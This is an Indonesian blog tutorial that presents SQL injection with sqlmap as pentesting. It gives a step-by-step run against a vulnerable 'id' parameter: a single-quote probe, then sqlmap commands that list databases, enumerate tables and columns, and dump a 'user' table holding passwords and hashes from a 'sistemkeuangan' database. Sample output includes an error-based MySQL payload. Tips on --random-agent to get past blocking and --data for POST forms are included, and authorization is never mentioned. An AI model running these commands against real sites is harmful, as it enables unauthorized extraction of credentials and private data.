Thursday, October 19, 2017
1:41 PM

Pengenalan Celah keamanan DB dengan Sqlmap

       
Assalammualaikum sobat Cyber. 

Kali ini kita akan membahas tutorial PENTEST dengan teknik SQL Injection menggunakan tool SQLMap untuk melakukan hacking atau serangan pada website berbasis data dengan tujuan untuk menemukan kerentanan keamanan pada website tersebut.





     SQL Injection adalah teknik injeksi code yang digunakan untuk melakukan serangan pada aplikasi web berbasis data di mana pernyataan malicious SQL dimasukkan ke dalam entri untuk di eksekusi (misalnya untuk menampilkan konten database ke penyerang). SQL injection dapat mengeksploitasi kerentanan keamanan pada perangkat lunak aplikasi, misalnya saat user salah melakukan filter inputan untuk pengiriman karakter yang disematkan dalam pernyataan SQL atau inputan user tidak diketik dengan benar dan tanpa diduga dieksekusi. SQL Injection lebih dikenal sebagai vektor serangan untuk sebuah situs web namun juga dapat digunakan untuk menyerang semua jenis database SQL.





Apa itu SQLMap


SQLMap adalah salah satu tool otomatis untuk melakukan SQL Injection yang paling populer dan hebat. Dengan url http request yang rentan, sqlmap dapat mengeksploitasi remote database dan melakukan hacking seperti mengekstrak nama database, tabel, kolom, semua data dalam tabel, dll. Bahkan dapat membaca dan menulis file pada remote sistem file pada kondisi tertentu. Ditulis dalam bahasa python dan merupakan salah satu alat hacking yang paling hebat. SQLMap adalah SQL Injection metasploit.



Vulnerable Url

Misalkan ada sebuah aplikasi website memiliki URL sebagai berikut:

http://www.target.com/index.php?id=51


URLini rentan terhadap serangan SQL Injection karena pengembang situs tersebut tidak benar-benar mengamankan parameter id. Hal ini bisa saja diuji coba dengan mencoba membuka url tersebut


http://www.website.com/index.php?id=51'


Kita hanya menambahkan satu kutipan pada parameter id. Jika url ini melempar kesalahan atau bereaksi dengan cara yang tidak normal maka jelas bahwa database telah mendapat kutipan tunggal yang tak terduga sehingga aplikasinya tidak mampu mengamankannya dengan benar. Jadi dalam hal ini parameter input "id" ini rentan terhadap sql injection.




Hacking menggunakan SQLMap

Sekarang waktunya untuk menggunakan sqlmap untuk melakukan hacking atau sql injection pada url tersebut. Perintah sqlmap dijalankan dari terminal dengan penerjemah python.

sqlmap.py -u "http://www.site.com/section.php?id=51"


Perintah di atas adalah yang pertama dan paling sederhana untuk dijalankan dengan tool SQLMap. Perintah tersebut memeriksa parameter masukan untuk mengetahui apakah mereka rentan terhadap sql injection atau tidak. Dalam hal ini sqlmap mengirimkan berbagai jenis muatan sql injection ke parameter masukan dan memeriksa hasilnya. Dalam proses ini sqlmap juga mampu mengidentifikasi sistem remote os, nama database dan versinya. Berikut adalah tampilan yang mungkin terlihat

[*] starting at 12:10:33
[12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
--- Place: GET Parameter: id Type: error-based
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause --- [12:10:37] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.22 
web server operating system: FreeBSD



Temukan Database

Setelah sqlmap mengkonfirmasikan bahwa remote url rentan terhadap sql injection dan dapat dieksploitasi, langkah selanjutnya adalah mengetahui nama-nama basis data yang ada pada sistem remote tersebut. Pilihan "--dbs" digunakan untuk mendapatkan daftar database.

sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

[*] starting at 12:12:56
[12:12:56] [INFO] resuming back-end DBMS 'mysql'
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
--- Place: GET Parameter: id Type: error-based
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause --- [12:13:00] [INFO] the back-end DBMS is MySQL
[12:13:00] [INFO] fetching database names
web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5
available databases [2]:
[12:13:00] [INFO] the SQL query used returns 2 entries [12:13:00] [INFO] resumed: information_schema [12:13:00] [INFO] resumed: sistemkeuangan
[*] sistemkeuangan
[*] information_schema


Outputnya menunjukkan database yang ada pada sistem remote.





Temukan tabel di database tertentu

Sekarang waktunya untuk mencari tahu tabel apa yang ada di database tertentu. Katakanlah database yang diminati di sini adalah 'sistemkeuangan'

Perintahnya :

sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D sistemkeuangan

[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
back-end DBMS: MySQL 5
web application technology: Apache 2.2.22
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:18] [INFO] fetching tables for database: 'sistemkeuangan'
[11:55:21] [INFO] retrieved: acl_acl_sections
[11:55:19] [INFO] the SQL query used returns 216 entries [11:55:20] [INFO] retrieved: acl_acl
........... more tables




Dapatkan kolom sebuah table
Sekarang kita memiliki daftar tabel databasenya, selanjutnya kita akan mencari kolom dari beberapa tabelnya. Katakanlah tabelnya adalah 'user' dan berisi username dan password.

sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D sistemkeuangan -T user

Outputnya akan terlihat seperti dibawah ini


[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
back-end DBMS: MySQL 5
web application technology: Apache 2.2.22
[12:17:39] [INFO] fetching columns for table 'user' in database 'sistemkeuangan'
[12:17:41] [INFO] heuristics detected web page charset 'ascii' [12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:43] [INFO] retrieved: int(11)
[12:17:42] [INFO] retrieved: id
[12:17:46] [INFO] retrieved: text
[12:17:45] [INFO] retrieved: name
[12:17:48] [INFO] retrieved: text
[12:17:47] [INFO] retrieved: password ....... [12:17:59] [INFO] retrieved: hash [12:18:01] [INFO] retrieved: varchar(128) Database: sistemkeuangan Table: user
| name | text |
[8 columns] +-------------------+--------------+ | Column | Type | +-------------------+--------------+ | email | text | | hash | varchar(128) | | id | int(11) |
+-------------------+--------------+
| password | text | | permission | tinyint(4) | | system_allow_only | text |
| system_home | text |


Jadi sekarang kolomnya terlihat jelas. Kerja bagus!




Dapatkan data dari tabel

Sekarang adalah bagian yang paling menarik, yaitu mengekstrak/mengambil data dari tabel. Perintahnya adalah

sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D sistemkeuangan -T user

Perintah di atas akan mengeluarkan data dari tabel tertentu, sangat mirip dengan perintah mysqldump.
Outputnya mungkin terlihat seperti in


+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash | name | email | password | permission | system_home | system_allow_only |
| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+



Catatan


1. Terkadang sqlmap tidak dapat terhubung ke url sama sekali. Ini terlihat saat stuck pada tugas pertama "testing connection to the target url". Dalam kasus tersebut, sangat membantu untuk menggunakan opsi "-random-agent". Hal ini membuat sqlmap menggunakan signature user agent yang valid seperti yang dikirim oleh browser seperti chrome atau firefox.


2. Untuk url yang tidak dalam bentuk param = nilai , sqlmap tidak bisa secara otomatis tahu dimana harus diinjeksi. Misalnya url mvc seperti http://www.site.com/class_name/method/43/80.



3. Bila menggunakan form yang mengirimkan data melalui metode post maka sqlmap harus disediakan data post pada opsi "--data".

Sekian dan Terimakasih, Stay Connected !

















Newer Post
Previous
This is the last post.

0 komentar:

Post a Comment